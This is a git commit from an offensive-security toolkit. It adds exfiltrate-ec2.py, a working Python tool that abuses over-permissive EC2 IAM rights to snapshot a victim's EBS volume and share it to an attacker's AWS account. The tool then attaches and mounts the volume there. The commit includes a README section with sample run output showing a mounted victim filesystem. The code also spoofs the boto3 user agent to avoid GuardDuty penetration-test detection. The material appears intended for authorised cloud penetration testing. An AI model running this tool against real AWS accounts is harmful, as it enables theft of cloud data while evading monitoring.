Added exfiltrate-ec2.py

This commit is contained in:
mgeeky 2019-12-04 17:56:56 +01:00
parent 95203e33e1
commit 853f891a84
3 changed files with 616 additions and 1 deletions

View File

@ -95,6 +95,100 @@ Afterwards, one should see following logs in CloudWatch traces for planted Lambd
- **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18) - **`evaluate-iam-role.sh`** - Enumerates attached IAM Role policies, goes through all of granted permissions and lists those that are known for Privilege Escalation risks. Based on [Rhino Security Labs work](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/). [gist](https://gist.github.com/mgeeky/14685d94af7848e64afefe6fd2341a18)
- **`exfiltrate-ec2.py`** - This script exploits insecure permissions given to the EC2 IAM Role allowing to exfiltrate target EC2's filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
IAM Permissions abused:
- `ec2:CreateSnapshot`
- `ec2:ModifySnapshotAttribute`
- `ec2:CreateImage`
```
attacker $ python3 ./exfiltrate-ec2.py --region us-east-1 -v --profile default --victim-profile victim-profile createsnapshot --volume-id vol-0f340890acfXXXXX --attach-instance-id i-0b359b0fcbcYYYYY
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
[.] Using attacker's profile: default
[.] Using victim's profile: victim-profile
[.] Using region: us-east-1
[.] Authenticating using Attacker's AWS credentials...
[.] Authenticating using Victim's AWS credentials...
[>] Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...
[>] Step 1: Creating EBS volume snapshot. VolumeId = vol-0f340890acfXXXXX
[+] Snapshot of volume vol-0f340890acfXXXXX created: snap-0d7a43f0ff34ZZZZ
[>] Step 2: Modifying snapshot attributes to share it with UserId = 71284700000
[+] Snapshot's attributes modified to share it with user 71284700000
[>] Step 3: Waiting for the snapshot to transit into completed state.
[>] Step 4: Creating EBS volume in Attacker's 71284700000 AWS account.
[.] Obtained Attacker's EC2 instance Availbility Zone automatically: us-east-1d
[+] Created EBS volume (vol-04f36e35abeWWW at Attacker's side out from exfiltrated snapshot (snap-0d7a43f0ff34ZZZZ)
[>] Step 5: Waiting for the volume to transit into created state.
[>] Step 6: Attaching created EBS volume to Attacker's specified EC2 instance
[-] Attacker's machine is in running state, preventing to attach it a volume.
[.] Trying to stop the EC2 instance, then attach the volume and then restart it.
[+] Attached volume to the specified Attacker's EC2 instance: i-0b359b0fcbcYYYYY
[.] Restarting it...
===============================================================
[MODULE FINISHED]
===============================================================
[+] Exfiltrated snapshot of a victim's EBS volume:
VictimVolumeId = vol-0f340890acfXXXXX
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
SnapshotId = snap-0d7a43f0ff34ZZZZ
If everything went fine, Attacker's AWS account 71284700000 should have a EBS volume now:
AttackerVolumeId = vol-04f36e35abeWWW
That was attached to the specified attacker's EC2 instance:
AttackerInstanceId = i-0b359b0fcbcYYYYY
AvailibityZone = us-east-1d
Most likely as a '/dev/xvdf' device.
===============================================================
To examine exfiltrated data:
0) SSH to the attacker's EC2 instance
# ssh ec2-user@18.206.230.190
1) List block devices mapped:
# lsblk
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
# mkdir /exfiltrated
3) Mount that device's volume:
# mount /dev/xvdf1 /exfiltrated
attacker $ ssh ec2-user@18.206.230.190
[...]
ec2-user@ec2instance:~$ sudo -s
root@ec2instance:/home/ec2-user# lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda 202:0 0 25G 0 disk
└─xvda1 202:1 0 25G 0 part
xvdf 202:80 0 25G 0 disk
└─xvdf1 202:81 0 25G 0 part /
root@ec2instance:/home/ec2-user# mkdir /exfiltrated
root@ec2instance:/home/ec2-user# mount /dev/xvda1 /exfiltrated
root@ec2instance:/home/ec2-user# ls -l /exfiltrated
total 84
-rw-r--r-- 1 root root 0 lip 31 2018 0
lrwxrwxrwx 1 root root 7 sie 17 2018 bin -> usr/bin
drwxr-xr-x 3 root root 4096 sie 17 2018 boot
drwxr-xr-x 4 root root 4096 sie 17 2018 dev
drwxr-xr-x 179 root root 12288 gru 4 16:37 etc
drwxr-xr-x 3 root root 4096 lis 4 16:18 home
[...]
```
- **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code. - **`exfiltrateLambdaTasksDirectory.py`** - Script that creates an in-memory ZIP file from the entire directory `$LAMBDA_TASK_ROOT` (typically `/var/task`) and sends it out in a form of HTTP(S) POST request, within an `exfil` parameter. To be used for exfiltrating AWS Lambda's entire source code.
- **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds. - **`get-session-creds-in-config-format.sh`** - Calls `aws sts assume-role` using MFA token in order to then retrieve session credentials and reformat it into `~/.aws/credentials` file format. Having that it's easy to copy-and-paste that script's output into credentials file. Then tools such as _s3tk_ that are unable to process MFA tokens may just use preconfigured profile creds.

View File

@ -0,0 +1,521 @@
#!/usr/bin/python3
#
# This script abuses insecure permissions given to the EC2 IAM Role to exfiltrate target EC2's
# filesystem data in a form of it's shared EBS snapshot or publicly exposed AMI image.
#
# CreateSnapshot:
# Abuses:
# ec2:CreateSnapshot
# ec2:ModifySnapshotAttribute
#
# The script will firstly create an EBS volume snapshot of the provided volume id. Then it will
# modify that snapshot's attributes to make it available for the foreign AWS Account that's going to
# be the Attacker's account. Then, the attacker will be able to create an EBS volume out of that snapshot.
# After doing so, the script will stop specified by the Attacker EC2 instance in order to later on attach it
# with a previously created volume. Afterwards, the instance will be restarted and the attacker will be able
# to mount freshly attached volume in the operating system to further examine its contents.
#
# This technique is safe to be demonstrated during AWS Penetration tests.
#
#
# CreateImage:
# Abuses:
# ec2:CreateImage
#
# NOT IMPLEMENTED YET.
# For this technique, the procedure is following - the script will create an image out of specified victim's EC2
# instance. This image will become publicly available (caution with client sensitive data!). After that, the script
# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that
# publicly available just created AMI image. Ultimately, the attacker will be able to SSH into newly created box to
# further examine it's filesystem contents.
#
# WARNING: Since this method creates a publicly available AMI image that will contain customer sensitive data, it is
# not recommended to use it during legal AWS Penetration Tests
#
# Author: Mariusz B. / mgeeky, '19, <mb@binary-offensive.com>
#
import sys
import pyjq
import json
import time
import boto3
import argparse
from botocore.exceptions import ClientError
config = {
'verbose' : False,
'region' : '',
'victim' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'attacker' : {
'profile' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
},
'method' : '',
'volume-id': '',
'instance-id': '',
'attach-instance-id': '',
}
class Logger:
@staticmethod
def _out(x):
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[>] ' + x)
@staticmethod
def info(x):
if config['verbose']:
Logger._out('[.] ' + x)
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
class ExfiltrateEC2:
session = None
def __init__(self, region, attacker_keys, victim_keys):
self.region = region
self.keys = {
'attacker' : {},
'victim' : {},
}
self.keys['attacker'] = attacker_keys
self.keys['victim'] = victim_keys
self.session = {
'attacker' : None,
'victim' : None,
}
Logger.info(f"Using region: {region}")
Logger.info("Authenticating using Attacker's AWS credentials...")
self.session['attacker'] = self.authenticate(region, attacker_keys)
Logger.info("Authenticating using Victim's AWS credentials...")
self.session['victim'] = self.authenticate(region, victim_keys)
def authenticate(self, region, keys):
session = None
try:
if keys['profile']:
session = boto3.Session(
profile_name = keys['profile'],
region_name = region
)
else:
session = boto3.Session(
aws_access_key_id = keys['access-key'],
aws_secret_access_key = keys['secret-key'],
aws_session_token = keys['token'],
region_name = region
)
except Exception as e:
Logger.fail(f'Could not authenticate to AWS: {e}')
raise e
return session
def get_session(self, whose):
return self.session[whose]
def get_account_id(self, whose):
try:
return self.session[whose].client('sts').get_caller_identity()['Account']
except Exception as e:
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
def create_snapshot(self, attacker_instance_id, volume_id, availability_zone):
victim_client = self.session['victim'].client('ec2')
attacker_client = self.session['attacker'].client('ec2')
target_user = self.get_account_id('attacker')
snapshot = None
volume_created = None
modify_result = None
Logger.out(f"Step 1: Creating EBS volume snapshot. VolumeId = {volume_id}")
try:
snapshot = victim_client.create_snapshot(
Description = f'Exfiltrated EBS snapshot of volume: {volume_id}',
VolumeId = volume_id
)
Logger.ok(f"Snapshot of volume {volume_id} created: {snapshot['SnapshotId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateSnapshot action on Victim failed. Exception: {e}")
Logger.out(f"Step 2: Modifying snapshot attributes to share it with UserId = {target_user}")
try:
modify_result = victim_client.modify_snapshot_attribute(
Attribute = f'createVolumePermission',
OperationType = 'add',
SnapshotId = snapshot['SnapshotId'],
UserIds = [
target_user,
]
)
Logger.ok(f"Snapshot's attributes modified to share it with user {target_user}")
except Exception as e:
Logger.fatal(f"ec2:ModifySnapshotAttribute action on Victim failed. Exception: {e}")
Logger.out(f"Step 3: Waiting for the snapshot to transit into completed state.")
try:
victim_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot['SnapshotId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for snapshot completed state failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 4: Creating EBS volume in Attacker's {target_user} AWS account.")
attacker_instance_data = None
try:
if not availability_zone:
availability_zone = self.region + 'a'
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
availability_zone = inst['Placement']['AvailabilityZone']
attacker_instance_data = inst
Logger.info(f"Obtained Attacker's EC2 instance Availbility Zone automatically: {availability_zone}")
break
except Exception as e:
Logger.fail(f"THIS MAY BE FATAL: Could not enumerate attacker's instance with given InstanceId = {attacker_instance_id}")
Logger.fail(f"Exception: {e}")
raise e
availability_zone = self.region + 'a'
try:
volume_created = attacker_client.create_volume(
AvailabilityZone = availability_zone,
Encrypted = False,
VolumeType = 'gp2',
SnapshotId = snapshot['SnapshotId']
)
Logger.ok(f"Created EBS volume ({volume_created['VolumeId']} at Attacker's side out from exfiltrated snapshot ({snapshot['SnapshotId']})")
except Exception as e:
Logger.fail(f"ec2:CreateVolume action on Attacker failed. Exception: {e}")
Logger.out(f"Step 5: Waiting for the volume to transit into created state.")
try:
attacker_client.get_waiter('volume_available').wait(VolumeIds=[volume_created['VolumeId']])
except Exception as e:
Logger.fail(f"boto3 Waiter for volume available failed. Exception: {e}")
Logger.info("Waiting in a traditional manner: 3 minutes.")
time.sleep(3 * 60)
Logger.out(f"Step 6: Attaching created EBS volume to Attacker's specified EC2 instance")
try:
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
if 'IncorrectInstanceState' in str(e):
Logger.fail("Attacker's machine is in running state, preventing to attach it a volume.")
Logger.info("Trying to stop the EC2 instance, then attach the volume and then restart it.")
try:
attacker_instance = attacker_client.stop_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_stopped').wait(InstanceIds = [attacker_instance_id, ])
attacker_client.attach_volume(
Device = '/dev/xvdf',
InstanceId = attacker_instance_id,
VolumeId = volume_created['VolumeId']
)
Logger.ok(f"Attached volume to the specified Attacker's EC2 instance: {attacker_instance_id}")
except Exception as e:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
Logger.fail("Tried to automatically stop attacker's EC2 instance, then attach volume and restart it, but that failed as well.")
Logger.fail(f"Exception: " + str(e))
Logger.info("Restarting it...")
attacker_instance = attacker_client.start_instances(
InstanceIds = [attacker_instance_id, ]
)
attacker_client.get_waiter('instance_running').wait(InstanceIds = [attacker_instance_id, ])
try:
attacker_instance = attacker_client.describe_instances(
InstanceIds = [attacker_instance_id, ]
)
for inst in attacker_instance['Reservations'][0]['Instances']:
if inst['InstanceId'] == attacker_instance_id:
attacker_instance_data = inst
break
except: pass
else:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
ssh_command = 'SSH to the attacker\'s EC2 instance'
if attacker_instance_data:
try:
ip = attacker_instance_data['PublicIpAddress']
except:
Logger.fail(f"Could not obtain Attacker's EC2 Public ip address. Available fields:\n {attacker_instance_data}\n")
ip = "ec2-ip-address"
if ip:
ssh_command = f'''SSH to the attacker's EC2 instance
# ssh ec2-user@{ip}
'''
print(f'''
===============================================================
[MODULE FINISHED]
===============================================================
[+] Exfiltrated snapshot of a victim's EBS volume:
VictimVolumeId = {volume_id}
[+] By creating a snapshot of it, shared to the attacker's AWS user ID.
SnapshotId = {snapshot['SnapshotId']}
If everything went fine, Attacker's AWS account {target_user} should have a EBS volume now:
AttackerVolumeId = {volume_created['VolumeId']}
That was attached to the specified attacker's EC2 instance:
AttackerInstanceId = {attacker_instance_id}
AvailibityZone = {availability_zone}
Most likely as a '/dev/xvdf' device.
===============================================================
To examine exfiltrated data:
0) {ssh_command}
1) List block devices mapped:
# lsblk
2) If above listing yielded mapped block device, e.g. xvdf, create a directory for it:
# mkdir /exfiltrated
3) Mount that device's volume:
# mount /dev/xvdf1 /exfiltrated
4) Review it's contents:
# ls -l /exfiltrated
''')
return True
def create_image(self, instance_id):
# Step 1: Create image:
# client.create_image(
# InstanceId = "<targeted-instance-id>",
# Name = "some name",
# Description = "some description"
# )
# Returns:
# {
# "ImageId" : "ami-00000000"
# }
# Step 2: Import custom SSH RSA public key
# client.import_key_pair(
# KeyName = "Some key name"
# PublicKeyMaterial = "key material"
# )
# Step 3: Create an instance from exported AMI
# client.run_instances(
# ImageId = "ami-00000000",
# SecurityGroupIds = ["sg-00000", ],
# SubnetId = "subnet-aaaaaa",
# Count = 1,
# InstanceType = "t2.micro",
# KeyName = "Some key name",
# Query = "Instances[0].InstanceId",
# )
# Returns:
# "i-00001111002222"
# Step 4: Connect to that EC2 instance
# client.describe_instances(
# InstanceIds = ["i-00001111002222"],
# Query = "Reservations[0].Instances[0].PublicIpAddress"
# )
# Returns:
# "1.2.3.4"
#
# $ ssh ec2-user@1.2.3.4
# $ ls -l
Logger.fatal("NOT IMPLEMENTED YET.")
def parseOptions(argv):
global config
print('''
:: exfiltrate-ec2
Exfiltrates EC2 data by creating an image of it or snapshot of it's EBS volume
Mariusz B. / mgeeky '19, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0])
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
attacker = parser.add_argument_group('Attacker\'s AWS credentials - where to instantiate exfiltrated EC2')
victim = parser.add_argument_group('Victim AWS credentials - where to find EC2 to exfiltrate')
required.add_argument('--region', type=str, help = 'AWS Region to use.')
attacker.add_argument('--profile', type=str, help = 'Attacker\'s AWS Profile name to use if --access-key was not specified', default = 'default')
attacker.add_argument('--access-key', type=str, help = 'Attacker\'s AWS Access Key ID to use if --profile was not specified')
attacker.add_argument('--secret-key', type=str, help = 'Attacker\'s AWS Secret Key ID')
attacker.add_argument('--token', type=str, help = '(Optional) Attacker\'s AWS temporary session token')
victim.add_argument('--victim-profile', type=str, help = 'Victim\'s AWS Profile name to use if --access-key was not specified')
victim.add_argument('--victim-access-key', type=str, help = 'Victim\'s AWS Access Key ID to use if --profile was not specified')
victim.add_argument('--victim-secret-key', type=str, help = 'Victim\'s AWS Secret Key ID')
victim.add_argument('--victim-token', type=str, help = '(Optional) Victim\'s AWS temporary session token')
optional.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
subparsers = parser.add_subparsers(help='Available methods', dest='method')
a = 'Creates a snapshot of a running or stopped EC2 instance in an AMI image form.'\
' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.'
createimage = subparsers.add_parser('createimage', help = a)
createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.')
b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\
' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.'
createsnapshot = subparsers.add_parser('createsnapshot', help = b)
createsnapshot.add_argument('--volume-id', help = '(Required) Specifies EBS volume id (vol-...) to create a snapshot of.')
createsnapshot.add_argument('--attach-instance-id', help = '(Required) Specifies Attacker\'s instance ID where snapshot should be attached as a volume (i-...). This instance must be created in the same region as specified and must be in a STOPPED state. Otherwise, this script will automatically stop the instance and then restart it after attaching volume.')
createsnapshot.add_argument('--availability-zone', help = '(Optional) Specifies in which Attacker\'s EC2 instance availability zone was placed. If this parameter is not specified, the program will try to invoke ec2:DescribeInstances to find that information automatically.')
args = parser.parse_args()
config['verbose'] = args.verbose
config['region'] = args.region
if args.method == 'createimage':
if args.instance_id != None:
config['instance-id'] = args.instance_id
else:
Logger.fatal('--instance-id parameter is required for this to work.')
if args.method == 'createsnapshot':
if args.volume_id != None and args.attach_instance_id != None:
config['volume-id'] = args.volume_id
config['attach-instance-id'] = args.attach_instance_id
config['availability-zone'] = args.availability_zone
else:
Logger.fatal('--volume-id and --attach-instance-id parameters are required for this to work.')
if not args.region:
Logger.fatal("Please provide AWS region to operate in.")
if args.profile and (args.access_key or args.secret_key or args.token):
Logger.fatal("There should only be used either profile name or raw credentials for Attacker's AWS keys!")
if args.victim_profile and (args.victim_access_key or args.victim_secret_key or args.victim_token):
Logger.fatal("There should only be used either profile name or raw credentials for Victim's AWS keys!")
if args.profile:
config['attacker']['profile'] = args.profile
Logger.info(f"Using attacker's profile: {args.profile}")
elif args.access_key and args.secret_key:
config['attacker']['access-key'] = args.access_key
config['attacker']['secret-key'] = args.secret_key
config['attacker']['token'] = args.token
Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!")
if args.victim_profile:
config['victim']['profile'] = args.profile
Logger.info(f"Using victim's profile: {args.profile}")
elif args.victim_access_key and args.victim_secret_key:
config['victim']['access-key'] = args.victim_access_key
config['victim']['secret-key'] = args.victim_secret_key
config['victim']['token'] = args.victim_token
Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!")
return args
def monkeyPatchBotocoreUserAgent():
'''
This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts
Source:
https://www.thesubtlety.com/post/patching-boto3-useragent/
'''
import sys
import boto3
import botocore
try:
from _pytest.monkeypatch import MonkeyPatch
except (ImportError, ModuleNotFoundError) as e:
print('[!] Please install "pytest" first: pip3 install pytest')
print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection')
sys.exit(0)
monkeypatch = MonkeyPatch()
def my_user_agent(self):
return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic"
monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent)
def main(argv):
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
monkeyPatchBotocoreUserAgent()
exp = ExfiltrateEC2(
opts.region,
config['attacker'],
config['victim'],
)
if opts.method == 'createimage':
Logger.info("Abusing ec2:CreateImage...")
exp.create_image(opts.instance_id)
elif opts.method == 'createsnapshot':
Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n")
exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone)
else:
Logger.fatal(f"Unknown method specified: {opts.method}")
if __name__ == '__main__':
main(sys.argv)

View File

@ -66,7 +66,7 @@ apt-get update --fix-missing
apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto
pip3 install virtualenv awscli wheel boto3 botocore btlejack pip3 install virtualenv awscli wheel boto3 botocore btlejack six
pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html
install_dotnet install_dotnet